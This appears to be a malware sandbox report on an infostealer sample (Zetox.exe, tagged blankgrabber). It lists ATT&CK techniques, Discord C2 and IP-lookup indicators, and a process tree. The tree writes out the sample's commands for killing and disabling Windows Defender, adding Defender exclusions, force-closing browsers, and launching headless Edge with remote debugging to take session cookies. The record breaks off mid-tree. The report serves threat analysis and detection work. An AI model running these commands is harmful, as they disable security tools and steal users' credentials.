blankgrabber | 1222a3e5b6d739d944df36ae12d187d0e3b3f35fdb54975669f5609873094e84

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	Zetox.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	Zetox.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	Zetox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Zetox.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	Zetox.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6128	powershell.exe
1888	powershell.exe
5708	powershell.exe
4736	powershell.exe
5848	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

credential_access stealer

pid	Process
6128	powershell.exe

Uses browser remote debugging 2 TTPs 11 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
4780	msedge.exe
1824	chrome.exe
3900	chrome.exe
3656	msedge.exe
5068	chrome.exe
4668	chrome.exe
3732	msedge.exe
2432	msedge.exe
5460	msedge.exe
236	msedge.exe
3608	msedge.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Loads dropped DLL 35 IoCs

pid	Process
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe
1592	Zetox.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 9 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
7	discord.com
155	discord.com
156	discord.com
158	discord.com
159	discord.com
1	discord.com
3	discord.com
8	discord.com
157	discord.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
2	ip-api.com
5	api.ipify.org

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6120	sc.exe
3584	sc.exe
6064	sc.exe
3184	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5664	msedge.exe
1664	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Kills process with taskkill 37 IoCs

defense_evasion

pid	Process
3040	taskkill.exe
4528	taskkill.exe
2948	taskkill.exe
3324	taskkill.exe
2160	taskkill.exe
3104	taskkill.exe
3892	taskkill.exe
232	taskkill.exe
1132	taskkill.exe
4884	taskkill.exe
4392	taskkill.exe
5852	taskkill.exe
5776	taskkill.exe
3864	taskkill.exe
5192	taskkill.exe
5512	taskkill.exe
2932	taskkill.exe
712	taskkill.exe
480	taskkill.exe
3116	taskkill.exe
4816	taskkill.exe
5908	taskkill.exe
2696	taskkill.exe
3152	taskkill.exe
4312	taskkill.exe
2968	taskkill.exe
2432	taskkill.exe
6020	taskkill.exe
5508	taskkill.exe
556	taskkill.exe
4840	taskkill.exe
1236	taskkill.exe
3984	taskkill.exe
1416	taskkill.exe
1040	taskkill.exe
2320	taskkill.exe
4644	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134223229210992485"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3847269522-1618051987-1942096715-1000\{406A2DB2-BB61-4275-80A4-C1C9AED1C46E}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
6128	powershell.exe
6128	powershell.exe
5848	powershell.exe
5848	powershell.exe
1888	powershell.exe
1888	powershell.exe
5708	powershell.exe
5708	powershell.exe
4736	powershell.exe
4736	powershell.exe
1824	chrome.exe
1824	chrome.exe
1824	chrome.exe
1824	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5512	taskkill.exe
Token: SeDebugPrivilege	5776	taskkill.exe
Token: SeDebugPrivilege	6128	powershell.exe
Token: SeDebugPrivilege	5848	powershell.exe
Token: SeDebugPrivilege	1888	powershell.exe
Token: SeDebugPrivilege	5708	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	1132	taskkill.exe
Token: SeDebugPrivilege	2696	taskkill.exe
Token: SeDebugPrivilege	3040	taskkill.exe
Token: SeDebugPrivilege	4528	taskkill.exe
Token: SeDebugPrivilege	2948	taskkill.exe
Token: SeDebugPrivilege	3864	taskkill.exe
Token: SeDebugPrivilege	3324	taskkill.exe
Token: SeDebugPrivilege	2932	taskkill.exe
Token: SeDebugPrivilege	3152	taskkill.exe
Token: SeDebugPrivilege	2160	taskkill.exe
Token: SeDebugPrivilege	556	taskkill.exe
Token: SeDebugPrivilege	4312	taskkill.exe
Token: SeDebugPrivilege	712	taskkill.exe
Token: SeDebugPrivilege	5192	taskkill.exe
Token: SeDebugPrivilege	4840	taskkill.exe
Token: SeDebugPrivilege	480	taskkill.exe
Token: SeDebugPrivilege	1236	taskkill.exe
Token: SeDebugPrivilege	3116	taskkill.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe
Token: SeCreatePagefilePrivilege	1824	chrome.exe
Token: SeShutdownPrivilege	1824	chrome.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3732	msedge.exe
3732	msedge.exe
1824	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 908 wrote to memory of 1592	908	Zetox.exe	80
PID 1592 wrote to memory of 5584	1592	Zetox.exe	81
PID 5584 wrote to memory of 5512	5584	cmd.exe	83
PID 1592 wrote to memory of 5640	1592	Zetox.exe	85
PID 5640 wrote to memory of 5776	5640	cmd.exe	87
PID 1592 wrote to memory of 5004	1592	Zetox.exe	88
PID 5004 wrote to memory of 6120	5004	cmd.exe	90
PID 1592 wrote to memory of 5760	1592	Zetox.exe	91
PID 5760 wrote to memory of 3184	5760	cmd.exe	93
PID 1592 wrote to memory of 4684	1592	Zetox.exe	94
PID 4684 wrote to memory of 3584	4684	cmd.exe	96
PID 1592 wrote to memory of 1504	1592	Zetox.exe	97
PID 1504 wrote to memory of 6064	1504	cmd.exe	99
PID 1592 wrote to memory of 4832	1592	Zetox.exe	100
PID 4832 wrote to memory of 6128	4832	cmd.exe	102
PID 1592 wrote to memory of 6048	1592	Zetox.exe	103
PID 6048 wrote to memory of 5848	6048	cmd.exe	105
PID 1592 wrote to memory of 6000	1592	Zetox.exe	106
PID 6000 wrote to memory of 1888	6000	cmd.exe	108
PID 1592 wrote to memory of 5012	1592	Zetox.exe	109
PID 5012 wrote to memory of 5708	5012	cmd.exe	111
PID 1592 wrote to memory of 5932	1592	Zetox.exe	112
PID 5932 wrote to memory of 4736	5932	cmd.exe	114
PID 1592 wrote to memory of 1132	1592	Zetox.exe	115
PID 1592 wrote to memory of 2696	1592	Zetox.exe	117
PID 1592 wrote to memory of 3040	1592	Zetox.exe	119
PID 1592 wrote to memory of 4528	1592	Zetox.exe	121
PID 1592 wrote to memory of 2948	1592	Zetox.exe	123
PID 1592 wrote to memory of 3864	1592	Zetox.exe	125
PID 1592 wrote to memory of 3324	1592	Zetox.exe	127
PID 1592 wrote to memory of 2932	1592	Zetox.exe	129
PID 1592 wrote to memory of 3152	1592	Zetox.exe	131
PID 1592 wrote to memory of 2160	1592	Zetox.exe	133
PID 1592 wrote to memory of 556	1592	Zetox.exe	135
PID 1592 wrote to memory of 4312	1592	Zetox.exe	137
PID 1592 wrote to memory of 712	1592	Zetox.exe	139
PID 1592 wrote to memory of 5192	1592	Zetox.exe	141
PID 1592 wrote to memory of 4840	1592	Zetox.exe	143
PID 1592 wrote to memory of 480	1592	Zetox.exe	145
PID 1592 wrote to memory of 3732	1592	Zetox.exe	147
PID 3732 wrote to memory of 2884	3732	msedge.exe	148
PID 3732 wrote to memory of 5416	3732	msedge.exe	149
PID 3732 wrote to memory of 5664	3732	msedge.exe	150
PID 3732 wrote to memory of 5528	3732	msedge.exe	151
PID 3732 wrote to memory of 5460	3732	msedge.exe	153
PID 3732 wrote to memory of 2432	3732	msedge.exe	154
PID 3732 wrote to memory of 236	3732	msedge.exe	155
PID 3732 wrote to memory of 3656	3732	msedge.exe	156
PID 3732 wrote to memory of 4780	3732	msedge.exe	157
PID 3732 wrote to memory of 3608	3732	msedge.exe	158
PID 3732 wrote to memory of 4640	3732	msedge.exe	160
PID 3732 wrote to memory of 1992	3732	msedge.exe	161
PID 3732 wrote to memory of 1596	3732	msedge.exe	162
PID 1596 wrote to memory of 2316	1596	msedge.exe	163
PID 3732 wrote to memory of 4980	3732	msedge.exe	165
PID 1592 wrote to memory of 1236	1592	Zetox.exe	166
PID 1592 wrote to memory of 3116	1592	Zetox.exe	168
PID 1592 wrote to memory of 1824	1592	Zetox.exe	170
PID 1824 wrote to memory of 5172	1824	chrome.exe	171
PID 1824 wrote to memory of 3880	1824	chrome.exe	172
PID 1824 wrote to memory of 1664	1824	chrome.exe	173
PID 1824 wrote to memory of 976	1824	chrome.exe	174
PID 1824 wrote to memory of 5068	1824	chrome.exe	176
PID 1824 wrote to memory of 3900	1824	chrome.exe	177

C:\Users\Admin\AppData\Local\Temp\Zetox.exe
"C:\Users\Admin\AppData\Local\Temp\Zetox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:908
- C:\Users\Admin\AppData\Local\Temp\Zetox.exe
  C:\Users\Admin\AppData\Local\Temp\Zetox.exe
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM MsMpEng.exe 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5584
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM NisSrv.exe 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5640
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop WinDefend 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5004
  - - C:\Windows\system32\sc.exe
      sc stop WinDefend
      4⤵
      Launches sc.exe
      PID:6120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config WinDefend start= disabled 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5760
  - - C:\Windows\system32\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:3184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop wscsvc 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4684
  - - C:\Windows\system32\sc.exe
      sc stop wscsvc
      4⤵
      Launches sc.exe
      PID:3584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config wscsvc start= disabled 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1504
  - - C:\Windows\system32\sc.exe
      sc config wscsvc start= disabled
      4⤵
      Launches sc.exe
      PID:6064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force; Set-MpPreference -DisableIOAVProtection $true -Force; Set-MpPreference -MAPSReporting Disabled -Force; Set-MpPreference -SubmitSamplesConsent NeverSend -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force; Set-MpPreference -DisableIOAVProtection $true -Force; Set-MpPreference -MAPSReporting Disabled -Force; Set-MpPreference -SubmitSamplesConsent NeverSend -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Windows_TimeSync' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6048
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Windows_TimeSync' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4736
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1132
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM librewolf.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2696
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM waterfox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3040
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM zen.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4528
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM palemoon.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2948
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM floorp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3864
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM msedge.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3324
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2932
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM brave.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3152
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM opera.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2160
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM vivaldi.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:556
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM chromium.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4312
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM seamonkey.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:712
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM icedragon.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5192
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM cyberfox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4840
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM msedge.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:480
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox --disable-extensions --disable-sync --no-first-run --disable-features=RendererCodeIntegrity
    3⤵
    - Uses browser remote debugging
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x22c,0x230,0x234,0x228,0x2a0,0x7ffe2d9dc188,0x7ffe2d9dc194,0x7ffe2d9dc1a0
      4⤵
      PID:2884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=1916 /prefetch:2
      4⤵
      PID:5416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=1928 /prefetch:11
      4⤵
      System Time Discovery
      PID:5664
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:13
      4⤵
      PID:5528
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2432
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=1920,i,6533310208367701295,2214478315575751258,262144 --disable-features=PaintHolding,RendererCodeIntegrity --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
